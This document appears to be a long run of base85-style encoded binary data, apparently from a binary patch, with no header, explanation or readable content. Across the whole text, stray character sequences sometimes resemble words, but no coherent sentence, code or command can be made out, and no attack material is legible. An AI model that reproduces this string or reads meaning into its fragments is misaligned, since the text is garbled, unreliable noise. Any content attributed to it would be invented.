z0-X!Re)DfICdlGZwUtU0!kpFBY_&KnHCm~u`lY@}E2{0$jl|bx=-#QU8QNA>oY$52 zMa`Mtj+*U1jG8X4H&JA=UFK(jCBxcPmUHpIp9`Ih(MBEh2rgt!>#4LU+w@ua5A1Yd z;;BrSbY`c3=Zf-J%(Lu+JC(KLtM#4a`_aH69JYVudiXWT-uC;b6CcRU*;1vA?`(92_j&cF{W{jIsKW&h%s_HLcQ zxlN)sc*WzG5;~)F0J&GSGsHI#1>@&b?xcP3ieRoV*V1`xV>o(%zDaIP0(WO} zi3UV7CpP`?wFZK+<};oazj;>pL;Nxpp6UcXuaEH$&QYJoGi-pV3y}4_jB9Cw7fs_| zT*vbwv}F_D-OIXksoOg>*OaHPLw2m?U7Flg5mOFp-rT#zJ4I|(T?t*R?`R`t%a-l+ z?A4Apy~pvwdpCM@wP(n%N(b}odj6lv-}+IzDZ(XAGXuf8sj+$N!6Jbx@{xtjy9sdp6cjc=R;< z;u)Qd_Nkd~jgGyq)?Mx2*!z{dSG(Wk+xR=+_`y5==Xnq96Q2a$;0^KmOYFlDE=~xy zwOAY3FQV@#_|4Pyc=%iGo8+Y6kc(G;xajC=9Nen@{5XjsBUs@MP zF0Qbbru6`@o+Zjgpa1LSqMIcibQ4$Hj$-%L!~fa~pfT8V-dm$hwef~GE6=w}2M`CFM%SfF!MMtX zfr0T2Kg)bNIB%iVvY(}$sy#BBU+I<*dG-R|2xb4i{jE{)j^wDuC>S5cXx5e{3ZQ23p$Td_opeh06AoG%7co1&-;@B4%~|B ziCz;eM-$a}MD4}Wd+o>CL7Nu+Q<>5Y5w@Dg%%zOiv8FoH%I_SWS^R2U{)vtK{uB6; zLxs32d8oMLH>AgN$Xjp{$~vC&7yUjLG3MK_QSTlRttwvNBH5hui*g0;vPaoEO0Dm22Bfy1?Gg?4b2#=Drzpmku@q4IKI7!KNV=Z;S3Cq7Z@B7u*OZ97? z`t7)t0&9*#9Y?%j>j-O})jdja@HaG@XLWBsi^Mn!LT89EhVYDaG3%Mu0P?VeuV^%h zuV`iEx?oJ3D=*Kejx{(>)B)RH5vL@(Q~env-gYcU3hh8Qp9t*xqUyOs^(+o@e>lX_ z3QpP1KZL%up7x*Us>dh1;#s1p)PBnpcz<>mw1mE^^M6J^zw;%wK|=T>eYF5svj9N zsuKe%}roOZa?`r`Iaz0l*1cLDRJ_tg4ul)m25$GNaQ)wp2gHDP?b%NXAyHT*JY z_%p@(jm+f+;eeFvOl{oki{^Vu>o^H2kIG}ET?tmyrI+R?WewFQ4r<{_0yQsyk+ zQoNe}cVZ(2b>nYD4uwrVM-DDzNv)sAyN7y1Relk@KP9@$yZDD4@4uFr%Tgsaa5wC{L-6kNF~>}Ll&a}|48`@hH9=D;uibZVdY_gaU z?Ckds-dLq)<>3%LZ>LYh505rH6e@?i5rLQuL*Ql2p{+~ctrKj zrS8?Wy5Z;hkvR|L7glNR3D!c_T>7>=y&sG{s ztTLN%;G87(XE@#)vcd74g($paPs}`s>D|UX{Ab94XnsC3V*0sGeLrd%9*dfn_|>(K zYxH|jGg2TfmtW3JGMCc8S&y>I;Jf5+;F|tr^yFtEW*qm|ekW=^{qGSDlZcv&|1oO* z@JQ7B{+6g|=U(zvbHqrd*gQYOSx6bytMDmn?koPbZ22>*{Q9T!HFtqFvyS&8_%GN; zcNsE^_qY00d9V4QbhmzIjlQG)bg?;$J%{aQOi8h}+Ix%Llc7G!|9!9~kR^_ZIC$F7 z82(&xkoT(pQv3g|U$&guIr2I-HRCEdB0ExfVH;*t&+uNCmQGq&$!8dI_VTH}vX?+v ztHoJ}FQV%VebjnYDD7CGdCqv`K=2;|PY4g)>0lfm(imE-rQgqg5SNIgr{h0bSSF0K zHT15+h-I(G=3FFs+$y*pJ9~e`?tc7D_Kv#P1^DHkZL$w{rjq-2on<1Oq*OlDDjRO> zJ=jW6=9npUx~EFXGUZ0>NT(~?GMF>VS6`^vHJ|NbKCgHKbRzhQ&0>Bh-ml8Ohpg<< zGT$K=CHsP$G3ZI=k2bM=l#>jWzg;$z&ccYpXC2r89q90mD~Y?Jok(t{Uxz(q;4Rta z7W3eg+HBb;FvQ(u~C}xtmO!Q@Gcb0m96{-{c2&1?*`Wq*8A!* z!XNuv83*={L?cD|-9Z0U8`04g>PlHl+$U& z(P_V^eEs;t1De)(R=*|Rh;qwhm2-bjh`Jg7QS3Y~h;1qMl&=FW^mFS8{Kav-caa4H z8~ibtqrj{jHJsBSSpZ-CiM|9mT1E-T=YC}+&G(OLeHc0NIqF|aovc-~h6Z|qzBYiT zyQp9NHIDY)Z7qMf)~8QW=XmlZTdZf?TQa zhM}o3|Jvtjb+AvX^@{1$JqwbJpRPThgHJqF;taadhQK$Do^QPg*o3zwQKdSn< zSN%R?*M=Qsiie2ZfX_0Yc2oH~{78Bednwq9o+Td!Iu`-QxnEVjk}gyJ70G7N=#s9g z-}w>x0=@#CuFn(qKwncCeY2zz$?T5u9sF87vnH7P4)Biou_@l>rivSt`+U^ocKg3W z*GGt%(OT~;wUxb_`=u3d-5MVt7K^DI*}u#>xMI9je=4Q2)pKu?=2Pw$ zKf*dk@T`kHcUzD}tgpjQP1u`}oXTFMy+a9|u_3#@A?J+OdYJl}$bk3!i^mkhDW6+? z>4U75Bw6c|zjyJ($bhpG-tJa>iN0+b*a#agtwf8?_nwqBhZ@Qa zmo${E1T>OZtUa#@2KVG+f7_u59>lb0bj+k z#Dk@fW42@m>&w7!QDC=L<6ffB`I+>=7Q6v0J$_P*O!-JjcDm%=%jle*a@r^^KJfhpI%k~5GY@^H(K+_zyjv9L9K(8l z19fW-tog4|-RWxGn*ZDc40XAUMl}CP?!{A9iJVoeT`12cXN&~qItT&q+d!m4E5FVia{;rK3u0duz#(&uyW9z;TK1dt|mwb5h zz`KK8tlUH)#+HbR*DZe2Hv2oVhh%FcvqisC{u$b|9Q0=%Is@P0L!G~|JDB@kjh_!0 znRgyhn_7Qs&$F*KFS@MdwGtkHGcwoacp}EjQQ6>pu*4igKY%Z0<9oTfDm(P8&JQ~e`_2Ad&1VID&7i(H1AGgd zF>{;x;Z0^Gi0}l7KVA=2He7-^b6;TR4(MV30fCl z7#m%jf1Yz#pK4|-Ms2$fy|lgPht)w}Nwp*vloj$T5<- zbV5^VL$mhD>5OvAE%SV(WJK!`o(VP^nZevWfeb*VEUHZ9o<44sepIY@h~HlNnt2L- zf#;Olaua=w^ZbjvPw|T_n&{@4<}-`9XRNkncs`%|0>6A0_$R-_f3DFG6`=c!oNbm%)|I8J@@ka?1KQrI9D(LRFiFw?oJsVia>G-P;P=G0!ZW?=e&JZ!(gB`_bvh^V)aG@m((V zFlX(NtA%zP{2Zb!WAFFn>rmYoU87&-{mrh!P?@dQxx9DxGkHEo_@Zt_PhnyzDfVZC&;p3?}O;hM97`sI&>11*f{k2| z+-?_*7C%&O;(!V2>pXj7YBGv znce7T$ZiR21ptDxLC z_<@T%+}Tsmr^-b{eUeM8*~VL__i5_XH>QdkFIgy1|55gWWw03*DmG+kk3$z_EQ>d-pVtt_P-5>CkDr`{NGUm90IB!CKxP`Es-`PxNY) zPEb!(FGvQB`5@>6dmGuySNjgV6MUy{(^~UG*Q}Kt#rUsV0=;IkvZ*GDjyf7%}gmPa3C;0S;)d2oGuwQ1$yx4d`6ovMv>jr}}s;_2^lSUvjWYFHDqO zsy=;d7%rne*`*P|%zEXUz<(L_w&N>o*ZhOEUHLiCKb2e4#9LL@WuZIzjT~_4%LBK@ z%x^g4OL1AMOZ0`TO#nOjW2&%TPn{Z%h>cB}cD!ZyNl#o*^*=t583JGAJqSbpnN&cd zQz;(}^i%=)h8@T}j<{4${HK0h51bKG@Z>{O|Ma{1%hh~!+RH5YFMZLj_W5>+SzmsJ zZ#34zcdAtNi4OpO41PSpw;f!)@oJtYpA2pW>bS3iM$*k?o^Dy&H!7tKUY+(R@dFF5(4j7W$<*yK$h8#npb$Ptb&~ z95@x%=mJ{5`33ue~jsA5D-xuLQ)=OEFPr!FxauUyw z0n?~6!GFy`epaIilpCf=2{`TtgXC;d73H#d0SzDP2EG2h+m6ElIWScP|1 z4OVEgb$FWWq{SYmLtAmai=Z3Tr}kPI%{PYax69yT4C0YL47?hnb+vIwZI7DDW#~!y zv-1IMR3>QbGVo9i9A&HY@-n<}^*Pmky^Hqxko%H9V=v8ER6xuRovwLM5`Q4~%TMZAg4;8;5`jSolSGD&WYVYZ9 zYs{{$Ma&1T>BJ;<+RTHd7N9lg4_bd#^1oJx;wn39b*!t^A-}2Y_SmHxM#SgxzfZNS zz=lAdRjjGS5!o^5vI(;1bv~YDZc?0wB^w!C@?v;Ad7<_fN5cCHBcbuEIixQSbdTo9 z(hbTpzZM(96sv3HXVd>b6>??aB!Cl#qG(R}zhl7gs_@8~0X9J*%6{?-!R_a=-Q~5+ zU+Q@Oe_pNPe+D?2nCdBu4+Zw*$VJK>);D3@O$e-^zUr+A>)LNS=H6hRpQZ0k9xC_y}zi@ zJAR3P-qAD6ZLra6x

  • OwU=bezYtd_>VQ%=<~z|>eQa$PR4IsA`Fb#if!(tse7B( zNFKs#Yq9_TK%dW`&TrAiS+7=ODA8q)YjhIdH*>|VGNz6z$T>!Su{?gQ>&V%VOt1Gs_K^Pt=6P0n7d*=PGUFsV zc94C6d;reNe)-XI8d!@3`kdW{o#R%*dCq<dm=IKz=1=u*}K1Kfnb ztHs&q@OG-2?iO9K&ZCvMjo@fGo%ZQwI4-`Djod`ZDL}4A#Ucay(0x3TIYZPx;5PZ^5a? z%}V!_Be?@3lC6o{2jJPOD`zTK>9xGi2{)X9L%r}1b9izQa<4MzxrE7VLU!S!uJzl3 zR|ix#bQFwPsx+cD1+#QlB(+WQ>a^|~dxqUy^D74PqlC`XqpWY)LnFai88&MrcByVm zXXY8Fs$GPiETHGA4HC>*z%PEkmi8<%s5UOLhns@fv1+`l&VrQvtLO3&imrlKG5XhL z!)uH`dUCYMt;R7)j;q{j)1X)mRPW>3%%%O%VeoF!3j>>&`A;HDe?#DC?S<$c##dty zvfRpFTq%CJ%3Ejm&!B#rvghxPMBHFZ$U$e2fjfX%xW(3yO`T92TlGEg@cu1ut1$?1 zf9B~q54Hzw^4=TIGpjy`89#r_PW&YLKzw!*_`lQ_HCOM7nwk7Inpv;QRiO!yk+8mVyTAedO}iVv%`WnvbTR)r;a|e{e-uro9nWSSCciN_4D9BSM|d2X^4_Mu@vvqgO;G<8#|Y8Dh1H6MO9mgK(HIro$`ubxCU%VT!!nMyq_4prfA2@i*}(>X0heUI^hQ&J@&(Ex zhhwGybb<%r~K=YQg1j!zO!q2j|>{kg8LBTvy%J2;yds#u}E-z<$8sO_f zc?rL$f>E9CEIf+u>kH3~gxoFQcv&!a&t9%|*B$Pz$!{IMgmwg<^n_^9VxAUBZ;!&0 ztyfTwa>T#$J>xbJIt9BYKXp@cj^NM`02X!t?(Ex zkTZevhvVeskE5ef>FojR9Rb|8*nX)H2BM!pgr(_ zzB{J>V=!oKP3IUl+1o=J2eprUo)}h}_?A;VN2ia+rUyS;+|_(rZ=Qv30)2!$%Le=< zx?2r>Yd>0C>w_us2aso+wE(`8%~&XZiTf4M%q-|3R7^5v`vN+_7sFhjDs#z;$KD|9 zYWOL{H)o+^O=^!X-n9y)W6Rnb{KsB4$JHN`+RFFKD{s*Dqn>0m`;80mv;)0yHkRlS z-}0zrxyE%V_12ddS8Ph2dGg7m>|M}DllL+8*WHCLX&39-yYS;0WW3GV(`?sd2H}$x zl}2!%)p}>9ow@klX63|@U2Ial&B{q7e$?0zFADv#o&$_A;FetYZ(!CORWj`qdpYS( zX~&Ss^m5PHxJxACwZGnlbWGwa&8(Fw z|Mkaz_?q;x?5CjC;u-A9{5h=s zu%=d=?k0=%Zmh7$4HwUI>jyTwkvzU<`!=`S+3O~A=lIFuRJShO&7M+~>vpYLxj5xM zd&zp{(ke5}ts|d(I4DC5!RflrA$Gr~eEh6#HShM+^uw8mE1GV|^tfh# zJyY2Y<%UO!BPnvD>siR|apwf(mipycy>0{ji10p{nZ|b!H>q#+Y@pjc{@(TO+{~SR zXkaNg>v9_|RnB1WGtfY+Juznk7tl_ZyLwW$JC8c8%u>IBzNo%1@Pw#O|HIT7831<~ z<-=L(efH@t*IGc#(Ezc%^evL54~402A^#OWT_`OsKQ>q6WE0h^mWMI6-P7%$^0}ouCd6^bnA*;?l``` z1sVLAmTDdB4|3~;`x5bX#KtA_o81QB92x9V98;^ERcwz7j9a`?9v?q#MQOXv-OP8} zUFAg@6kvjlfpt zc6;>&aEgqYUL=1J>l25wyL}HB)sK+tdQspcXFv7|IL*#*BhXQ_vZTDJR|$9t=M^nm<# z9h7>)w>lkf>I(Kr&9lnk_6^>tHCFlDb?dzdvNx08?nm<5kKsdZ&6SFN zwgCSXi~cfrZ^b~-j})po29wCr)W9}>8EZ{ikCd%pTx_E(=Vro}@VE?BQvgy1t}1 z%7Q)N0P^|}vITj3H95?>EbKHBPg^FOUT?+I(^F1rTiF@dR&IQRn5U^-?gD#)pW_?? z%bw;IYQHzve#^w7WH`5=z!hSgTfno{qTV>N-VH|OZ%M8; zj@g2r%M|=(&`Dty#u@i484epoMJF&*h5#>U_~(Q!4sbKnH7!&28R_r3{*~00)o67CnUwg6RmA^0@dOzTW z(lKPibhmuVOxN0Z*GL!{(w=62H@{swk#WR-MT)bL3!C7LP5f_k*WQRMLKaK*zws9{ z-L?Oq7~HP1_%b5 z_i_db`Gw$P^`pt5U%U_UIr0vB-EDBUyNTi!H*P~mjCmd7y`;oAGrlWa#u?sSZ5RAC zxdP|875tCLPXPZ8ZX#CfqJDq#glay~Ti{^>ES6o(B`UkUqqt4^u6*rNm&_F{iav&N zhrHp?A+O$5e{A&DRCnn5LtY#o`RV_kK6Lus@Mqq>|D*Y~hx{yeKszTxKlK!wY;0`8 z9DP70CI@!=n^No@OLGR_xNh%T|J;SlfM1<${!r*?Zzy*J-}`#(opW6a898JQcpca} zW9^>c|8VGl7e|kse#Zad$br-FoaBC}?(P34xF4>6`~OMqUld&r5M$xsgJtg9QUdoW z;?3UdEk|>&j{N6^UFD6d=zqR%B$n=R+o8Wu{)G|QbT;rZ0VJ-9akbf3aw&F7>C@%+ z+w5-wt`pXg;GN1m$h#rd`&+c`>~wo(fP9dAr+5EpdOSPLp5Yw)?aD5=!o}%+2ozz{5z+#t^7OF8_-7qoNFGCah*z@{Jn~I88U~x;r7Gc zy4+sh*tY}g{qD*0jxZOx*WZX-{%T{Fx1Qgx|0VfL80W9^|ErT6Z$9_y&+Ya$#=5*E z_BPIFr>-b)wL`Duq*9;5jA@WF7aW8bONPrGc$rLAy46qcKKbm`Cp^nx_Rrp4dXU?n=b6~zHt*V_2lAO4IC?| zGY2eRTMQm&Fcz^RUYfS%WPuMHjIH^ zL_^Tf7%oJ!2|MH>tC4M%+i)v#FFOr8H|(Bok>e~k-R+?di7AeE{`=UE*T^-M{IQ?s zEVBs(Z!<6#fVmeO49BUP{gt<|Z(KC6wT-&y$3x*w-nVY*@`{x0qpl&wSvZJhHO^CM z8(0~OVa6zw+s)W~!##QJ5igp%-8Cu31%3EbPu26}0x%=EC?_#_=spr5t1W%5^F8(}m-Jr+WSBw*NhpD%na*R)?!1u-b z&|&C8z8|7bC-jah6yW2&Al46G3;T5?3#vM7_4?|1z#Qg&(v!>3bBue%pifS=myn(8 z$6_wHBvrsRsIF75C>8t+|1~GIreFE#KfS!~t_YLiE#Erwo4;FfQA$4kP@ewry~!cl zvY~RF4bIc|m#u=@FL{~F_4xgkcy$?PYSbuiE4mTbGn}z<-p81uX76B5vf7OlHoN$@ zTQce0e#}(QS(Kk|ewrME%yqHny!Vsu_*UDkm<;q$>MC1yX(W?diw}|c7&cXmddt*V z$J`!z+_Ql7y!oX*zu>XX^}g+1FS1By$<9sn_!(O8lxn^T~@5dim zUp_%S@my~?eBisj-wy4|2Tb-~+SBI$=NUh4Hx$^K03+<4eB3e3JXZJH|O{bN=T$#=5{*f1AGi z`B-b5v&6gp{~6~s|Jyj9!#G>e7w3YCZ!+oXIP2WbcaHNC@R!NS_n;V(tGt};gxBKp zT)^0epr`+jwsVh@s<`%j?S9NOJtH(QqohUMC@LaqW6+=yZ4?!an&u^_L>on8j3>57 zlbFOS8)gQOXQSW)AG3|o81foKO+rl4AifA1R7?yPb9Q&L&zQlJn8X;9Xt>{B?H+@k zdp_sfKkgs^5RzT+94o3-RIJ7+5=2v8b>g8|>$h z!L9{~U(Rz+uZdr7Jm2)qrH^R+P`+g1+j;P~5E4gQt9 zIG%P5!qz?*{!Mdsp(*?Ij_dvEeA@KD!HcSC+NJZg6W;3Zkr(M>ty}O5SRHoofBqc5 z`rxq(fsa@}8RB(tChuGP7oWd_ueHiGC0~BWYg2w_ZL-%{d(HG!|4h0Rdsf~uTdP{5 zP#?(9raV0O*4aOK<22eNe%Q`?n*N~vC|-Te5W|7?#fpsSxgt6w>)bhiL{ssKz_^`3 zywb(~ju}-Gyxi_&UTs6aA{x%-HrA{0!S4tr!;A1zR`4AmUvT5gM%niqeY6B`KIfK0 z*|}o5?Y*kU$sAUTu@-i=Y@pOXFBnrB=myoZIsavU@(b=n2HFGXcxW*gxCfbIerx?b za`=hl7;9dW9jqL-a<~5dE^RgUg_mN7v+H8PeY-R0Sn9JM&3k<#@B6>{aNbXo_rU$% z-}5K=L;#myO=ebC&t+_p-{x&e$19)Sn07a&J$-IUd;vdG&E?m6$wVGUqy zVk!G%Tm0(1jMF2}q|6CkE!ompjq=Q|9d-h-gJ&oP1nZ2@Kym`@GVA15*G%Cdcr=P> zp?WC~Tk%xe4tx-0lU*{mA*Y~c-)#C;e?GegNFM8p6ucBB0_I1wBboE7UmS*ynDp6+ zoM-+Y_-lHSY1lFKjkV72Ae-E;Cyeea6Pg_lBur8AioLJ9xW=EJuxI*;|Kc7vIaIbt z;*d0AGuXC)8*q9%xLnITp`NJt)m2F%+fM8Pr`S0Pp2f%EAu!!T+$-#YF>{eKAP+9c zEBgU!SxanQ!`_xtZLFR;ITAa?dc= znO2`$?QS2KUzwQ;EJ_<|lsB5YliAVhWRz}7J@0h48`7y>rF-|2QN6CxRd)2oDoQuI zK72%XdyI5SqqM{HpZZdRwZ{KUsP)(ZtpA<}U9LcfXODv&;{;=!GI!@2FqVO_tTHdE z?+88&lb|d&}ZrfGa-W%t+*?p}y0Zix@_T1&}g^u~%%}Mji zbCTwJTno9b;X0RZ$8%3}y-e(|CnhJ&ZCvu9?B}7*5&!>rsH=gOejfU^aG4gI(-;5wf7 z{ki|Wp%?G{1Ir5J-_y7?!~~sFY5c&o+;Q0J9g*XGi!U@7;7U_CBHaBqpPm7 zHt?IP&ormsw%0YRwwSeA7t%WV$>0N@46P{=FN}5I%?r?jAtf63a~79CsH~7;m@YZ;_0- z9VRxOd2UMa7`$M_DD27=?Bb1Y8jq}=Mq4Gf9NO2D+f;qDw2Ap6JX@rl$o`n;SD$5k zGOYC^@K+~YT>kWlLMP+1#wC1I^`CX3W^APzi}d~98+lAVh(ohN)05jC!2|wOxAI&}8FPet<_#LlmDV}Ar<%Yf>F{52K6{kL4!d_V8yhgV zzNOgR&YtNE{x#Vr^T;Bj{SnxabHA$gnC@`I0lwqpofz#HYKVbn_^15|@|Q`eUF=`b zx$x2{QtZn}Ap4QmoG*>-i2B}cf1moMTRlVV{M#tnUa1Fc@$1i<->tS;SC9 zcWLaGtEY;~8Atu9D;_9C<9LEH6Zz%gCx8zN z2RKUbfAdgagSVQ&Nur>0K#>37pqczHv;RfqyheV}ZH&fLc=4exB~6dJy(+&S>l2jo zs~-dR^GEemMWYmY)A~``PgDlScJFGowSv72xg#I@4EAdI;EQkCTs_O4$T~c<%xOG; zmiXu;keurc%6;jVALbGH1AYI@g!%oTXe?hXJt8kUPp`Ycv;C?H_5{D` z!Q-M|aRPE>>}vi`v-?Nv9@`9a73ki?nf8n^S=l)g9TI}W;^BtB%%NRd36Gad{cZr_UGKt_A3%m9>$d8li)9J~y2|mr(yY~3pmqbPk z9h5dPl&x6*IpEjAr}F1k-zk*3!z-|5?nj*`pJVpKi`19*>kACNL?wJUDf?r{oWyi+ zNgn|=s=_w}o_C5D)=VB9&-ixTMQ~psTL^GY`8jb}Xdi7|GJrX>{0t7T^0J_P{I`>* zL-JO6byr&WXNl6~a@wO~W4*D*!>iB1XX9i1S03fvHy`gdzv74R-C5vz!F=NdkFv-5 z(Od=CrrEuJ$|Kr{CtP^QU?caK6FTm+-H*BmWOpuU?V084V$iCoM0?@+M+<)e#u@UZ zU>^)N@xpv)7|o}WE^`9>0edRH!dG!wy$3tDWQTl7ljL8-^ZLqa^3S%u7Oiji)eFY= zR7X(Ok-(+6*p9mh+l~B#slcEr@a+h~{0v(y;gR3IjL?$5w5&FTe3?hf;JWUJHc z`c~dNT6v5AksoA{yZWrk@hAuU^=W?*wgTICT7idrReXFj4vBVs!l!&xwRZ3|{Fvyn zSqB@6$`GBuVABTBx2x90w;oqGnOeupkQID?%>22kIRo{?@I9yhM)_3!W#nzDFs8V) zBY2N|m&!LTJrKR(j1>IFo--HzonQ(>2RHT-0Dt;azRBNKx{vToSwo#doL@847XVv( z(<9%tSY}74J(Zlhs{~nxdevt6+r)U5Y*ah`*uc{VKJx63njgUD=3kKqCjDscmTDZB z^23nHm8a@z(**pSgpd9G~GO6BI{0TdVkW`Yc6_9R{a3HVi)Xd zuAWyL$bZg1LS{#?>Gl8n{2zurRlF|Sm;8iu<#&uI@klX2S3T#X2Hv5k9WOvQbmi{uepK}Lk#&Ca`yX@6D zo@G0=G^G4(d>5}|^7wbZZ2E4ZobUV#_5<31zPJQFq_6zb@A>)+<0^jb#;mH*#-Y+j zkmXixpRtvg_`sm?z8?nRQTP-t8D~?%%jblbqP|^dzcqoos~WhIF4{C_O|SaEwS2pb zG>-A&dx;?}S_})6?^2tudCmp3{)Tp*%95Y-G^>!o7yyvbp1Rd8ak9EIibF$y%nlcHe}V=+^9?c zmG;5Lf1Zb_tPv_JC)lQ0nI-zRQMYsvoe3)33dfEc@s8p}OLmFg-LIHEuc7A-gD={O z*gb(y?bcYf;Usii?!*tV-+s+|YbLTC-gQ=!8Acsi7u7ihinlLVdWXEf$0wc={k?wg z72V+_9yTGLJrO1Ll^0hA2jyRo-pG6o9h*FDmHW_hc3Hf>01bxsupcb9tcJgL*oMAt z3cEs$y^mPAw=2AnXX#MXS7Q%aXeyka$Qf5UE8fQEDd_A~)~L}5?rG#v-*`gw#UHvY z08YxB#kVs7p z{TS|(xqGC?SH4g1xqOrE^BJCRJt`B}=xg|mkdOWI^*aX9*DC06l}h*- z(n+Ue4^rK@e*NzU@Q=2{d-9=MS{}~ezhp5o)XM%9htpQ+cHPf)PEeX&^G*37{?00OFQK+V<^WM`QSelI+d;(+Y>?qZPl&}Z4&)$TnKpJ zT4cC*K)zU#MT{S7a{+6^nHA{on)^+}UzmE}w^sMFjEPe+XiQZ-Gbnp+AyYdI`in1X*!(W2k>Z3BP!c@l1Pi8n~Xrzu_9oisGj`IHzi9_*dlKIOYKIyXko; zZg!l>H~`>(zanX7zZf@fu&%B?y^KCBp9<}#)wz(On<=s<4*4(IDb7!dcIp`%q=)C3 zf0wXh&>qDfi)oHoLMC~4(%3|P8>D*|D|dN_*Vb4`ee_mly`~N z39%1dV)Z)LPKEI4wSlc-<6g6v`aO+NVf&LJ8T60Fy(8w{TU z6SAnPywCG4-3i?^R2lDppCot`FH5EG%MN89LVx`0wm@U)rS{D8W4Xup-)_g(DO%e}qcc^T zGJZ9`A8m&==;HWY3&;0_8~CRFA)MbL*~WitlF-qw?mU}!7rl_NLAYvjmxrIFeKs%Y z-vhoJ^p?CHw8SvKxBE!5$sp>};_KGT?|L2gMb;QhpUO~O*EZ@w|IF@&Pt`{iXF~qn zi_sGnGd>v)ULgj?ICB?qgzgG&A8GcCujqYo*gD1QbqdSSXBLN#kzeJ08(7x!tUcGi z2AA3ot(b7^G0qMz>I{SFj4zT+t3#i(k~{ZvSD(I@yVj$YHTu9g>`@zeI_LA;gMH*Q z=GHJ2b{6D}#;ERI=||GH6ys(jy<&3s@XKZH^Z1)B>!I4B()bu z{nK&5dl6psur>L7GsF#`+>r->>%3pR%JQ)6K+&A*a@)69E5|m}!n|Sdao1J9&O8o! z(VQ95XR=y%lH6w8+L)$2q7U`JV-){xJ9>dwKL3_B)a9di5dNM!Joo3gRKHSM?q&WVOs6i-QU`F!H3S5M<*U7 zo%zfEOrO5DkzV@ptO=Y=*QmE2--ed|J7zUBs( zHOki(MYs%f_!ZtYwId^Uz*JNNFL#-M7>(S6}+NLMX`CoA@3;* zD|n7zy)-J%#h(nAo@k^~8L}BDhL_6NeM&S(_~?A{Lef~iq3yD7AX1}F%I79 zbIh`uq5MM|-x2E;3z+}TmOskLniuGL>*T0T&XD+^kN4A7^i+FDmvXtQ zpD${_jy%cc1eahUotxWk)6HxA*W5+rA4wYV?akCPk~$+#7>AGv+S6-_lC{V@mvv@zx3|@$2H@E%ScgFw)DW;47`{Cd8Ui-I2_gp%^EizEB?-NQRhn-mDHMJtO#NwSi3k2 zJyA5Fk11~5D&UUf>^H6XJ3?aR)mkS4 zbFh%P;{D-wUt}yfFgk-sGE{bJtyN8fmWiCsSLz6z{~ggFL0wvd5&v2GHspLi{vGf? z&Gwmy4)?=@cYOkx&sw#3<_`8jPxs(2Y$>!2n&EGTZij85=27o4nrjsqPfLG>rtHZ8 zZs}37I~Bp1Xp<;EbAa^GMCqAc?ltv!$qcP^{A_m8i2wHO8#dl3cyP=RYXfYph+iVR zXAkX_KGT|Gt&e@@t@y~P4eB?HhxOkIp2qvTC$duWKPWpDtO^Gr8fsYhob zP6T$H;hsUhNIy-wMbh3E9s+M@pOEIatvySF809L)M0_y5gy1^WV)k518u`WihVR4k z;Hs>77Iu`(=YrwL80}?zj5u$iKV}BbkoN1>F(;R79oa)arjNu{-P0SJvb0xiZv)2~ z3q}gBz}LE}qxUz`%gfO^=@0%2?F-n*|Hj;qwh2e*Z+6{Uc>apydnro0UHN(z2Ipa? zXeoR)(E612o1uq|1|H-#bLh;gySwSDnyafH(3T<6Eo6h#yX+q0sb^DY>#Zkyh~pGA z;)1#tAonj(eCN?E)!Tbp9LlV)-vyZ>+{(vHF+u-bcm%&X)5PgnYGq+^M2DTPG4^C* zq~F*(!?rb9MiGrTKop-$oC zG}4Lh`g!-17l>aWKE?(y0eSM?#YuC|^rZRbMM<+^dBW-dYLnJLUt!L=7rYsK0x~Wa z@~(|Jn)pa_cFFhw;x)-z`hLUqvsHHHz0g)`f9faw?~(l(9%Q{xYl7oS==TNcDtcDV zYuz)IBQ_~>$Rs$j_yP8W`$U-2_=6l5ecq+~zg&o~oc4tj{i@xw#Q3mk5H$9{Ic3I5 zw7I-I{5oy$PN5#!6zM@;c;nIdiD&4i{>nh{VRJppYm|?t|6Vlo&D{Orr!tkg_uYZhs) z(K-hWnNC`rpX*YeWQS~8t}?#ujQeGAWw16xO$FWT?$=GI9(Z|3{q+<(gbOzx!1 z{+QUo%{>2%Z%;aA>j0i#<@qOkcX<8<&(L~noab*)-?tsJ^Berr`ONG1m*n2VT{4V& zmjA@ono<8QY2k^j$m9A#p1~(&TibN{t2|?~Wc|~mA0+*LJb#hrE_iAn&$Od&9`_sg zCfE<)xrgTixzD7ocJ6Da>kiT#<;s*Yd17Ci3j@Jfm?xiTl;Oe~ofh@%&}#-NgL{?(?~SkvgvCUvU)n zMauj-Y1PJ9=5*{G(fc2H-(TYyJU*dO_uHi7>_uojqk0?916e1h&DA-Sr9+-avZQ~Vm zHOe@PG-tzKJ4y4{krDjAZJH_;7Xo<#ItN!vI!Vu&_H6P z*?E~uKd0ZmgS>&S`lPS?iDx^nbu~UB6Ec?vjLm&lHEazJ1A}7RYaZ2#j&4S*z-G;Q zfyRB-@Q;>`U0EG&I|AI|N0Z77t;O(1Q2bfNgIfTc@KxU_lt*m6J_{4FtxUPrhLZb2 z5ZT?p$zU%SPQQ$ez()|@Y~>ehiW{f7QS&Bj1kU}vm;FWkIGVe@Px<}pY}OtC?9I*@ zHR(bI9dmjk?Tz5?k4mfW*yEJ;I^ep1Z`X3~|9%Z{3D1+@nHiL&=MA)RE@@gxdpY;# z`B&sF*>nMEbdNXW%sa?0*@Hie?27i^X-+z|{xY&0zn5x^yLfU8Ww0*PcP6lCE-1T_ z`pih)PvZG>?({F@kBzUNoAq8h4ih-w?{Wl5eshfDPIU&AgFfQ`tMyd_;c z?s!2u!=BcB#P7+<{6KTz7u8nMY0sryV}SqF<}L6|FYxu#)q}3mBmO{tF>XXt*5I;k z=FHl^p__dIMZI4Kmrm3=rK9&|#=jKp97{RsBY4eYJ3m-@jO8)GxsH15IMm>w35%fjl=YqTd`xH1qNw^6=g-#tc1 zJKtSH*=B~6G zL@UZ-J+`k%zPkkr<$jm%U*dfY?-R}IR%XECH0vUCQ2e6Ge*HWAH-1nbUhWJ}Al;d+ z(oMDN2kaw|T`W7Cc1d?vo>jts!3%93zcU;~9?7kTDTlGI&&{1#TjbnOzX^JXuVR_W zi0x_B8`1S71GPpRM?W7PbYhp#d0y)LO^F$HC>6 z*AmG4IO}!;;Wx!RkY2HaebwSK@ldSb^_~PQ>OXDLFU%Fe=fQ(1qT?2yW!*4p3;lAZ z^f?FkzCn7)OOe@FqPioq4vmsr+p3bp$c!_$D-0CR?Qz=TW8XouJ%@KXYt8N9i% zjk&^!N<-V_*V)Eetn5fl^e2tKiJ<3k*5Mva1mCvu(1Rp7dYYYrE>N&a8CuH}M%^75ab%^XEG9Aj1nqlE+3(3zv8w2wmm;u9Kp zfu32;EDz;NW6T0Oj~V02&q!--D}&=3>97|jV--KnIaJ0}RwOmw`T4m?v-BU#NRDVS 